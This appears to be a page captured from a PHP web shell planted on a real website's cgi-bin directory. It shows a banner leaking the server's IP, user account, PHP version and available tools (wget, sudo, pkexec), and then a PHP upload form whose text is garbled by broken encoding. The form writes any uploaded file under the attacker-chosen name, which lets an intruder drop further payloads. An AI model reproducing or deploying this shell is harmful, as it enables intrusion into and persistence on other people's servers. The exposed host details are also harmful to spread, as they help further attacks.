| Server IP : 189.126.111.107 / Your IP : 216.73.217.69 Web Server : Apache System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 User : gadotticar ( 1000) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/gadotticar/cgi-bin/ |
Upload File : |
<html>
<head>
<title>�������� ������ �� ������</title>
</head>
<body>
<h2>�������� ������ �� ������</h2>
<form action="" method="post" enctype="multipart/form-data">
������� ����:<br>
<input type="file" name="filename"><br>
<input type="submit" value="��������"><br>
</form>
<?php
if($_FILES["filename"]["name"] != '')
{
if($_FILES["filename"]["size"] > 1024*6*1024)
{
echo "<h3>������ ����� ������� 6 ��������</h3>";
exit;
}
// �������� ���� �������� ���� �� ��������� ��� �� ��������� ���������� � ��������� ����� �������
if(is_uploaded_file($_FILES["filename"]["tmp_name"]))
{
move_uploaded_file($_FILES["filename"]["tmp_name"],$_FILES["filename"]["name"]);
echo "<h3>���� <font color='red'>" .$_FILES["filename"]["name"] ."</font> ��������</h3>";
} else
{
echo "<h3>����� �������� �����</h3>";
}
}
?>
</body>
</html>